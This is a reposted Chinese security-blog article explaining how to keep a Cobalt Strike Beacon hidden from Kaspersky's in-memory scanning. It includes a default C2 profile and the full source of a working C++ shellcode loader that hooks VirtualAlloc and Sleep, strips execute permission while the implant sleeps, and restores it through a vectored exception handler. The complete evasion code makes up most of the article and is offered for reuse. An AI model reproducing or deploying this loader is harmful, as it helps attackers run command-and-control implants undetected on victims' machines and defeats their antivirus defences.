cs bypass卡巴斯基内存查杀-2

  • A+
所属分类:安全文章
声明:该公众号大部分文章来自作者日常学习笔记,也有少部分文章是经过原作者授权和其他公众号白名单转载,未经授权,严禁转载,如需转载,联系开白。
请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关。


文章来源:“先知社区” ,原文作者:WBGlIl


0x01 前言

上次看到yansu大佬写了一篇cs bypass卡巴斯基内存查杀,这次正好有时间我也不要脸的跟跟风,所以同样发在先知社区。


记一次cs bypass卡巴斯基内存查杀

  • https://xz.aliyun.com/t/9224


yansu大佬是通过对cs的特征进行bypass,这次让我们换一种思路,尝试从另一个角度来绕过内存扫描,本文仅作为一种思路,大佬误喷。


0x02 正文

我们知道内存扫描是耗时耗力不管是卡巴还是其他杀软,一般来说都是扫描进程中一些高危的区域比如带有可执行属性的内存区域,既然他扫描带有X(可执行)属性的内存区域那么只要我们去除X属性,那自然就不会被扫也就不会被发现,但问题是去除X属性后Beacon也就跑不起来,但是不用怕我们知道Windows进程触发异常时我们可以对它处理,而此时我们可以在一瞬间恢复内存X属性让它跑起来然后等它再次进入sleep时去除X属性隐藏起来。


首先是准备工作,C2配置一份,为了演示效果我什么也不开就一份最普通的配置

# default sleep time is 60sset sleeptime "60000";
# jitter factor 0-99% [randomize callback times]set jitter "0";
# maximum number of bytes to send in a DNS A record requestset maxdns "255";
# indicate that this is the default Beacon profileset sample_name "Cobalt Strike Beacon (Default)";
# define indicators for an HTTP GEThttp-get { # Beacon will randomly choose from this pool of URIs set uri "/test";
client { # base64 encode session metadata and store it in the Cookie header. metadata { base64; header "Cookie"; } }
server { # server should send output with no changes header "Content-Type" "application/octet-stream";
output { print; } }}
# define indicators for an HTTP POSThttp-post {
set uri "/test.php";
client { header "Content-Type" "application/octet-stream";
# transmit our session identifier as /submit.php?id=[identifier] id { parameter "id"; }
# post our output with no real changes output { print; } }
# The server's response to our HTTP POST server { header "Content-Type" "text/html";
# this will just print an empty string, meh... output { print; } }}


payload选择生成无阶段原始格式,因为我是x64 loader所以把x64勾选上

cs bypass卡巴斯基内存查杀-2

思路和代码都很简单,我也不会对Beacon做任何加密,思路如下,首先创建事件用来同步线程

hEvent = CreateEvent(NULL, TRUE, false, NULL);


设置VEH异常处理函数,用来在因内存X属性取消后触发异常时恢复X属性

LONG NTAPI FirstVectExcepHandler(PEXCEPTION_POINTERS pExcepInfo){    printf("FirstVectExcepHandlern");    printf("异常错误码:%xn", pExcepInfo->ExceptionRecord->ExceptionCode);    printf("线程地址:%llxn", pExcepInfo->ContextRecord->Rip);    if (pExcepInfo->ExceptionRecord->ExceptionCode == 0xc0000005 && is_Exception(pExcepInfo->ContextRecord->Rip))    {        printf("恢复Beacon内存属性n");        VirtualProtect(Beacon_address, Beacon_data_len, PAGE_EXECUTE_READWRITE, &Beacon_Memory_address_flOldProtect);        return EXCEPTION_CONTINUE_EXECUTION;    }    return EXCEPTION_CONTINUE_SEARCH;}
AddVectoredExceptionHandler(1, &FirstVectExcepHandler);

然后就是HOOK VirtualAlloc和sleep函数,Hook VirtualAlloc函数的原因是我们需要知道Beacon在自展开时分配的可执行内存起始地址和大小是多少好在后面对这块内存取消X属性以免被扫描,Hool Sleep函数是因为我们需要在Beacon进入Sleep后立马取消Beacon内存区域的X属性

static LPVOID (WINAPI *OldVirtualAlloc)(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect) = VirtualAlloc;LPVOID WINAPI NewVirtualAlloc(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect) {    Beacon_data_len = dwSize;    Beacon_address = OldVirtualAlloc(lpAddress, dwSize, flAllocationType, flProtect);    printf("分配大小:%d", Beacon_data_len);    printf("分配地址:%llx n", Beacon_address);    return Beacon_address;}
static VOID (WINAPI *OldSleep)(DWORD dwMilliseconds) = Sleep;void WINAPI NewSleep(DWORD dwMilliseconds){ if (Vir_FLAG) { VirtualFree(shellcode_addr, 0, MEM_RELEASE); Vir_FLAG = false; } printf("sleep时间:%dn", dwMilliseconds); SetEvent(hEvent); OldSleep(dwMilliseconds);}
//用的微软的Detour库void Hook(){ DetourRestoreAfterWith(); //避免重复HOOK DetourTransactionBegin(); // 开始HOOK DetourUpdateThread(GetCurrentThread()); DetourAttach((PVOID*)&OldVirtualAlloc, NewVirtualAlloc); DetourAttach((PVOID*)&OldSleep, NewSleep); DetourTransactionCommit(); // 提交HOOK}

然后创建一个线程用来在Beacon进入睡眠之后立刻取消Beacon内存区域的X属性
DWORD WINAPI Beacon_set_Memory_attributes(LPVOID lpParameter){    printf("Beacon_set_Memory_attributes启动n");    while (true)    {        WaitForSingleObject(hEvent, INFINITE);        printf("设置Beacon内存属性不可执行n");        VirtualProtect(Beacon_address, Beacon_data_len, PAGE_READWRITE, &Beacon_Memory_address_flOldProtect);        ResetEvent(hEvent);    }    return 0;}
HANDLE hThread1 = CreateThread(NULL, 0, Beacon_set_Memory_attributes, NULL, 0, NULL);CloseHandle(hThread1);

最后就是读取Beacon.bin加载进内存执行了
unsigned char *BinData = NULL;size_t size = 0;
//别忘了向Test.bin最开始的位置插入两三个90char* szFilePath = "C:\Users\WBG\Downloads\Test.bin";BinData = ReadBinaryFile(szFilePath, &size);shellcode_addr = VirtualAlloc(NULL, size, MEM_COMMIT, PAGE_READWRITE);memcpy(shellcode_addr, BinData, size);VirtualProtect(shellcode_addr, size, PAGE_EXECUTE_READWRITE, &Beacon_Memory_address_flOldProtect);(*(int(*)()) shellcode_addr)();

总结概括一下思路就是:Beacon进入睡眠就取消它内存的可执行属性,等Beacon线程醒来时触发异常交由VEH异常处理函数恢复内存的可执行属性,然后Beacon执行完成后又进入睡眠一直重复上述过程,效果如图
cs bypass卡巴斯基内存查杀-2
cs bypass卡巴斯基内存查杀-2
cs bypass卡巴斯基内存查杀-2
cs bypass卡巴斯基内存查杀-2

cs bypass卡巴斯基内存查杀-2

cs bypass卡巴斯基内存查杀-2
cs bypass卡巴斯基内存查杀-2

0x03 结尾

提醒本文仅仅提供一种思路细节需要你自己去研究,代码一共不超过200行,附件代码如下,不限制转载但是禁止拿去割韭菜。
#include "pch.h"#include <iostream>#include<Windows.h>#include "detours.h"#include "detver.h"#pragma comment(lib,"detours_x64.lib")
LPVOID Beacon_address;SIZE_T Beacon_data_len;DWORD Beacon_Memory_address_flOldProtect;HANDLE hEvent;
BOOL Vir_FLAG=TRUE;LPVOID shellcode_addr;
static LPVOID (WINAPI *OldVirtualAlloc)(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect) = VirtualAlloc;LPVOID WINAPI NewVirtualAlloc(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect) { Beacon_data_len = dwSize; Beacon_address = OldVirtualAlloc(lpAddress, dwSize, flAllocationType, flProtect); printf("分配大小:%d", Beacon_data_len); printf("分配地址:%llx n", Beacon_address); return Beacon_address;}
static VOID (WINAPI *OldSleep)(DWORD dwMilliseconds) = Sleep;void WINAPI NewSleep(DWORD dwMilliseconds){ if (Vir_FLAG) { VirtualFree(shellcode_addr, 0, MEM_RELEASE); Vir_FLAG = false; } printf("sleep时间:%dn", dwMilliseconds); SetEvent(hEvent); OldSleep(dwMilliseconds);}
void Hook(){ DetourRestoreAfterWith(); //避免重复HOOK DetourTransactionBegin(); // 开始HOOK DetourUpdateThread(GetCurrentThread()); DetourAttach((PVOID*)&OldVirtualAlloc, NewVirtualAlloc); DetourAttach((PVOID*)&OldSleep, NewSleep); DetourTransactionCommit(); // 提交HOOK}
void UnHook(){ DetourTransactionBegin(); DetourUpdateThread(GetCurrentThread()); DetourDetach((PVOID*)&OldVirtualAlloc, NewVirtualAlloc); DetourTransactionCommit();}
size_t GetSize(char * szFilePath){ size_t size; FILE* f = fopen(szFilePath, "rb"); fseek(f, 0, SEEK_END); size = ftell(f); rewind(f); fclose(f); return size;}
unsigned char* ReadBinaryFile(char *szFilePath, size_t *size){ unsigned char *p = NULL; FILE* f = NULL; size_t res = 0; *size = GetSize(szFilePath); if (*size == 0) return NULL; f = fopen(szFilePath, "rb"); if (f == NULL) { printf("Binary file does not exists!n"); return 0; } p = new unsigned char[*size]; // Read file rewind(f); res = fread(p, sizeof(unsigned char), *size, f); fclose(f); if (res == 0) { delete[] p; return NULL; } return p;}
BOOL is_Exception(DWORD64 Exception_addr){ if (Exception_addr < ((DWORD64)Beacon_address + Beacon_data_len) && Exception_addr >(DWORD64)Beacon_address) { printf("地址符合:%llxn", Exception_addr); return true; } printf("地址不符合:%llxn", Exception_addr); return false;}
LONG NTAPI FirstVectExcepHandler(PEXCEPTION_POINTERS pExcepInfo){ printf("FirstVectExcepHandlern"); printf("异常错误码:%xn", pExcepInfo->ExceptionRecord->ExceptionCode); printf("线程地址:%llxn", pExcepInfo->ContextRecord->Rip); if (pExcepInfo->ExceptionRecord->ExceptionCode == 0xc0000005 && is_Exception(pExcepInfo->ContextRecord->Rip)) { printf("恢复Beacon内存属性n"); VirtualProtect(Beacon_address, Beacon_data_len, PAGE_EXECUTE_READWRITE, &Beacon_Memory_address_flOldProtect); return EXCEPTION_CONTINUE_EXECUTION; } return EXCEPTION_CONTINUE_SEARCH;}
DWORD WINAPI Beacon_set_Memory_attributes(LPVOID lpParameter){ printf("Beacon_set_Memory_attributes启动n"); while (true) { WaitForSingleObject(hEvent, INFINITE); printf("设置Beacon内存属性不可执行n"); VirtualProtect(Beacon_address, Beacon_data_len, PAGE_READWRITE, &Beacon_Memory_address_flOldProtect); ResetEvent(hEvent); } return 0;}
int main(){ hEvent = CreateEvent(NULL, TRUE, false, NULL);
AddVectoredExceptionHandler(1, &FirstVectExcepHandler); Hook(); HANDLE hThread1 = CreateThread(NULL, 0, Beacon_set_Memory_attributes, NULL, 0, NULL); CloseHandle(hThread1);
unsigned char *BinData = NULL; size_t size = 0;
char* szFilePath = "C:\Users\WBG\Downloads\Test.bin"; BinData = ReadBinaryFile(szFilePath, &size); shellcode_addr = VirtualAlloc(NULL, size, MEM_COMMIT, PAGE_READWRITE); memcpy(shellcode_addr, BinData, size); VirtualProtect(shellcode_addr, size, PAGE_EXECUTE_READWRITE, &Beacon_Memory_address_flOldProtect); (*(int(*)()) shellcode_addr)();
UnHook();
return 0;}



关注公众号回复“9527”可免费获取一套HTB靶场文档和视频,1120”安全参考等安全杂志PDF电子版,1208”个人常用高效爆破字典0221”2020年酒仙桥文章打包还在等什么?赶紧点击下方名片关注学习吧!

推 荐 阅 读




cs bypass卡巴斯基内存查杀-2
cs bypass卡巴斯基内存查杀-2
cs bypass卡巴斯基内存查杀-2

欢 迎 私 下 骚 扰



cs bypass卡巴斯基内存查杀-2

本文始发于微信公众号(潇湘信安):cs bypass卡巴斯基内存查杀-2

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: